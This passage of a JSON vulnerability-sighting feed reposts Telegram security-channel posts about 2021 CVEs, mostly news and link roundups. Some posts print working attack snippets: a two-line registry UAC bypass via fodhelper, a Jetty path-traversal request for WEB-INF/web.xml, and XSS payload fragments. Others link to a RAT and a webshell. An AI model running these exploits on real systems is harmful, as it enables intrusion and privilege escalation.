CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-01T17:00:53.704649Z"}, {"uuid": "6f1e9265-92f9-40a5-86f1-a54af1001b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-01T17:00:53.976830Z"}, {"uuid": "eefbf633-2e0c-4bec-9c79-d200a84fbf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-01T17:00:55.045827Z"}, {"uuid": "684bb788-6c04-49b1-9090-b160f4452906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28797", "type": "seen", "source": "https://t.me/cissp/2945", "content": "CVE-2021-29627:\nIn FreeBSD 13.0-STABLE < n245050, 12.2-STABLE < r369525, 13.0-RC4 < p0, 12.2-RELEASE < p6, listening socket accept filters implementing the accf_create callback incorrectly freed a process supplied argument string. Additional operations on the socket can lead to a double free/use after free (1-day PoC)\nhttps://github.com/raymontag/cve-2021-29627\n\nRed Team Tactics:\n1. Unauthenticated Account Takeover Through Forget Password\nhttps://infosecwriteups.com/unauthenticated-account-takeover-through-forget-password-c120b4c1141d\n2. A webshell that can bypass some system security\nhttps://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor\n\nThreat Research:\nMemory corruption vulnerability in QNAP QTS\u2019s Surveillance Station plugin leads to a pre-auth RCE\n(PoC for CVE-2021-28797)\nhttps://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce", "creation_timestamp": "2026-09-01T17:00:55.227844Z"}, {"uuid": "a8ff74f9-80ae-4125-acbe-e1b19ec49bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "seen", "source": "https://t.me/cissp/2786", "content": "Threat Research:\nSAML XML Injection + Example Exploits\n(Attribute injections and InResponseTo injections)\nhttps://research.nccgroup.com/2021/03/29/saml-xml-injection/#AttributeInjections\n\nCVE-2021-28918:\nServer-Side Request Forgery (SSRF)\nin Netmask package for npm <=1.1.0 (PoC)\nhttps://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md\n\nMalware analysis:\nJumping Into Shellcode\nhttps://isc.sans.edu/forums/diary/Jumping+into+Shellcode/27256\n\nDebugging System with DCI and Windbg:\nhttp://standa-note.blogspot.com/2021/03/debugging-system-with-dci-and-windbg.html?m=1\n]-> The report and the exploit of CVE-2021-26943, the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303:\nhttps://github.com/tandasat/SmmExploit\n\nHow the Web Audio API is used for browser fingerprinting\nhttps://fingerprintjs.com/blog/audio-fingerprinting\n]-> Browser fingerprinting library with the highest accuracy and stability:\nhttps://github.com/fingerprintjs/fingerprintjs", "creation_timestamp": "2026-09-01T17:00:56.066340Z"}, {"uuid": "6c241336-18b0-4e4a-81e7-a4e2f5609f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/hackersmeet0/2446", "content": "Four Android vulnerabilities patched earlier this month may be under limited, targeted exploitation (CVE-2021-1905, CVE-2021-1906, CVE-2021-28663, CVE-2021-28664)\nhttps://therecord.media/arm-and-qualcomm-zero-days-quietly-patched-in-this-months-android-security-updates/", "creation_timestamp": "2026-09-01T18:00:05.063475Z"}, {"uuid": "b26b8115-6f13-4952-be5f-0b9d3cff7e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hacking_Attack/63752", "content": "hacking: security in practice\nAnyone know where I can find a PoC for CVE-2021-28664\n\nI have a Hisense U8G with Android 10 kernel version 4.19.75 with a 32 bit userland. Already unlocked the bootloader, but the firmware package is encrypted with a key that I can only get after rooting.\n\nI need some other way to dump my boot.img and the kernel is too old for DirtyPipe and too new for mtk-su. The exploit in the title should work for me, but I can't find any PoC to run.\n\nI just need temp root basically\n\nsubmitted by /u/WeedyPests \n[link] [comments]", "creation_timestamp": "2026-09-01T20:01:32.961004Z"}, {"uuid": "83754d62-2abf-4dff-b277-302f232a5d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "https://t.me/hacking_Attack/38939", "content": "Black Hat Ethical Hacking\nQlocker ransomware returns \u2013 targets QNAP NAS devices worldwide\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwidePost Views: 104 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThreat actors behind the Qlocker ransomware are once again targeting Internet-exposed QNAP Network Attached Storage (NAS) devices worldwide. \nQlocker has previously targeted QNAP customers in a massive ransomware campaign\u00a0that started during the week of April 19, moving victims\u2019 files within password-protected 7-zip archives with the .7z extension after breaching their NAS devices.\n\nQNAP warned that the attackers were exploiting the CVE-2021-28799 hard-coded credentials vulnerability\u00a0in the HBS 3 Hybrid Backup Sync app to hack into users\u2019 devices and lock their files.\n\nHowever, for some QNAP customers targeted in last year\u2019s Qlocker ransomware campaign, the warning came way too late after the attackers extorted hundreds of QNAP users.\n\nIn total, affected QNAP users lost roughly $350,000 within a single month after paying ransoms of 0.01 bitcoins (worth approximately $500 at the time) to get the password needed to recover their data.\nSee Also: Complete Offensive Security and Ethical Hacking Course Qlocker returns in new 2022 campaignThe new Qlocker ransomware campaign began on January 6 and it drops ransom notes named !!!READ_ME.txt on compromised devices.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/Qlocker%20ransom%20note.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:59.525425Z"}, {"uuid": "24abd8c6-e18a-4642-a2ac-fdae6415e0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17172", "content": "regexploit-py \"my-project/**/*.py\" --glob  \nJavascript / Typescript\n  This will use the bundled NodeJS package in regexploit/bin/javascript which parses your JavaScript as an AST with eslint (https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/parser) and prints out all regexes.  Those regexes are fed into the python ReDoS finder.  regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --glob  N.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want (https://hackernoon.com/the-madness-of-parsing-real-world-javascript-regexps-d9ee336df983) to write a JS regex AST!  \nPython imports\n  Search for regexes in all the python modules currently installed in your path / env. This means you can pip install whatever modules you are interested in and they will be analysed. Cpython code is included.  regexploit-python-env  N.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c)  \nJSON / YAML\n  Yaml support requires pyyaml, which can be installed with pip install regexploit[yaml].  regexploit-json *.json\nregexploit-yaml *.yaml  \nC# (.NET)\n  regexploit-csharp something.cs  \nBugs reported    CVE-2020-5243: uap-core (https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p) affecting uap-python, uap-ruby (https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw), etc. (User-Agent header parsing)  CVE-2020-8492: cpython's urllib.request (https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4) (WWW-Authenticate header parsing)  CVE-2021-21236: CairoSVG (https://github.com/advisories/GHSA-hq37-853p-g5cf) (SVG parsing)  CVE-2021-21240: httplib2 (https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m) (WWW-Authenticate header parsing)  CVE-2021-25292: python-pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c) (PDF parsing)  CVE-2021-26813: python-markdown2 (https://github.com/trentm/python-markdown2/pull/387) (Markdown parsing)  CVE-2021-27290: npm/ssri (https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf) (SRI parsing)  CVE-2021-27291: pygments (https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14) lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)  CVE-2021-27292: ua-parser-js (https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566) (User-Agent header parsing)  CVE-2021-27293: RestSharp (https://github.com/restsharp/RestSharp/issues/1556) (JSON deserialisation in a .NET C# package)  bpo-38804: cpython's http.cookiejar (https://github.com/python/cpython/pull/17157) (Set-Cookie header parsing)  SimpleCrawler (archived) (https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf) (HTML parsing)  CVE-2021-28092: is-svg (https://github.com/sindresorhus/is-svg/commit/01f8a087fab8a69c3ac9085fbb16035907ab6a5b) (SVG parsing)  nuget.org, NuGetGallery (https://github.com/NuGet/NuGetGallery/commit/25d2d3b32b2d9f0b1ca6e0a105b0210c2c4820f4) and NuGet.Client (https://github.com/NuGet/NuGet.Client/commit/a0671e946ce71dc59def5cc8a67c6457d66f33bf) (Parsing NuGet package IDs)  markdown (python) (https://github.com/Python-Markdown/markdown/pull/1130) (Markdown parsing)  ansi-html (nodejs) (https://github.com/Tjatse/ansi-html/issues/19) (ANSI parsing)  Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages    \nCredits\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:32.218034Z"}, {"uuid": "3014d574-5387-4931-8d9e-4c3f67dbd25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28155", "type": "seen", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:25.361197Z"}, {"uuid": "09412b41-61dc-423b-aa5a-183eaa4b8873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:12.788606Z"}, {"uuid": "af585d2c-bf0d-4802-a6f7-af55bac0bd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28135", "type": "seen", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:25.533138Z"}, {"uuid": "affe6873-45b8-489e-a081-e739d6bb8c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28546", "type": "seen", "source": "https://t.me/hacking_Attack/10387", "content": "Black Hat Ethical Hacking\nPDF Feature \u2018Certified\u2019 Widely Vulnerable to Attack\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PDF Feature \u2018Certified\u2019 Widely Vulnerable to AttackPost Views: 161 \nReading Time: 1 Minute\nCertified portable document format (PDF) files are used to securely sign agreements between two parties while keeping the contents\u2019 integrity protected, but a new report found the security protections on most certified PDF applications were inadequate and left organizations exposed to a number of attacks.\nResearchers from Ruhr University Bochum explained certified PDFs use two specific signatures to authenticate the document, an Approval signature and a Certification signature. Certification signatures are the more flexible and made to handle complicated agreements between multiple parties and allow some changes to the document within a set of parameters while still maintaining its validity.\n\nUnsurprisingly, Certified signatures are where the team found vulnerabilities to two specific novel attacks they dubbed, \u201cEvil Annotation\u201d (EAA) and \u201cSneaky Signature\u201d (SSA). Both allow an attacker to overlay malicious content\u00a0(PDF) on top of the certified information without showing any signs it was altered. Novel Certified PDF Attacks EAAs display malicious content in the document\u2019s annotations and then sends it on with its digital signature intact. SSAs add malicious content over legitimate content in the PDF itself.\n\nThe team said the results of its evaluation of the 26 most popular PDF applications were \u201calarming.\u201d\nSee Also: Pulse Secure VPNs Get Quick Fix for Critical RCE \u201cIn only 2 cases, we could not find a vulnerability; 15 viewers were vulnerable to EAA, 8 to SSA, including Adobe, Foxit, and LibreOffice,\u201d the report said. \u201cWe additionally analyzed the standard-compliant implementation of PDF certification applications and found issues in 11 of them.\u201d\n\nAdobe had an additional flaw that allowed certified documents to execute JavaScript code, opening these users to code in injection attacks.\n\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/05/26161319/Evil-Annotation-PDF-Research_10-300x187.jpg \u201cFor example, a high-level JavaScript can call an arbitrary URL without user confirmation to deanonymize a user. Our research reveals that such code is also executed if it is added as an allowed incremental update. We are the first to reveal that this behavior allows attackers to directly embed malicious code into a certified document.\n\nThe team said it disclosed their findings to the appropriate vendors and provided a comprehensive vulnerability report, including exploits, to CERT-Bund (BSI). The report also lists the specific certified PDF security flaws\u00a0found in each application.\n\n\u201cAdobe, Foxit, and LibreOffice responded quickly and provided patches for late 2020 (CVE-2020-35931) or early 2021 (CVE2021-28545, CVE-2021-28546),\u201d the report said. \u201cAdobe fixed the code injection vulnerability in early Nov. 2020 within a patch outside the regular update cycle (CVE-2020-24432). Currently, we participate in the standardization process via the German National Organization for Standardization (DIN) and the International Organization for Standardization (ISO) to address the reported attacks in the next PDF specification.\u201d\nSee Also: Offensive Security Tool: Snallygaster Stopping Certified PDF AttacksTo fend off Evil Annotation Attacks, the researchers recommend admins prohibit three particularly risky annotations that allow text or images to be added to a certified PDF, \u201cFreeText, Stamp and Redact.\u201d\n\nSneaky Signatures can be blocked by reducing permissions, but that is not a guarantee SSAs won\u2019t g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:41.015912Z"}, {"uuid": "1e5cbc68-3dcf-434d-8882-7b4a7a519da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "seen", "source": "https://t.me/hacking_Attack/5996", "content": "Exploit Collector\nCMS Made Simple 2.2.15 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png \nCMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.\n\nMD5 | 1bd97d4c76ab1904826cf2601e327f7c\n\nDownload\n# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)\n# Date: 2021/03/19\n# Exploit Author: bt0\n# Vendor Homepage: http://www.cmsmadesimple.org/\n# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip\n# Version: 2.2.15\n# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935\n\n-----------------------------------------------------------\n\nIf you log into Admin panel and open My Preferences you could be able to exploit XSS in title field\n\nReflected XSS in /admin/addbookmark.php\n\nSome payloads that works:\n\n\">\n\">\n63311';alert(1)//812\n//-->\">'>\n\n------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:45.825391Z"}, {"uuid": "1a091803-220f-42c6-9762-c541754adadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/hacking_Attack/24602", "content": "hacking: security in practice\nCVE-2021-28663 - POC - Explanation\n\nHello,\n\nI have come across the poc for this exploit for Mali GPUs: https://github.com/lntrx/CVE-2021-28663 . I would like to run it on my android smartphone (Huawei P30 Pro), as it has a vulnerable Mali GPU. \n\n\u200b\n\nThe issue is that I am not very proficient at C and thus do not understand much of the exploit. The exploit fails very early on (https://github.com/lntrx/CVE-2021-28663/blob/main/mali_poc.c#L42). Could someone explain to me the workings of it, as the best I can do is add a bunch of print statements to see what is happening.\n\nsubmitted by /u/reujea0 \n[link] [comments]", "creation_timestamp": "2026-09-01T20:02:20.936344Z"}, {"uuid": "844d48be-d7e8-4336-b73c-48dd5fccff91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20612", "content": "Black Hat Ethical Hacking\nBug in Millions of Flawed IoT Devices Lets Attackers Eavesdrop\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bug in Millions of Flawed IoT Devices Lets Attackers EavesdropPost Views: 84 \nReading Time: 3 Minutes\nA remote attacker could exploit a critical vulnerability to eavesdrop on live audio & video or take control. The bug is in ThroughTek\u2019s Kalay network, used in 83m devices.\nSecurity researchers have discovered a critical flaw that affects tens of millions of internet-of-things (IoT) devices \u2013 one that exposes live video and audio streams to eavesdropping threat actors and which could enable attackers to take over control of devices, including security webcams and connected baby monitors.\n\nThe flaw, tracked as CVE-2021-28372\u00a0and FEYE-2021-0020\u00a0and assigned a critical CVSS3.1 base score of 9.6, was found in devices connected via ThroughTek\u2019s Kalay IoT cloud platform.\n\nThe alarm was sounded on Tuesday by Mandiant, in coordination with the Cybersecurity and Infrastructure Security Agency (CISA) and ThroughTek. Mandiant\u2019s Red Team discovered the vulnerability in late 2020.\n\n\u201cCVE-2021-28372 poses a huge risk to an end user\u2019s security and privacy and should be mitigated appropriately,\u201d according to Mandiant\u2019s post. \u201cUnprotected devices, such as IoT cameras, can be compromised remotely with access to a UID and further attacks are possible depending on the functionality exposed by a 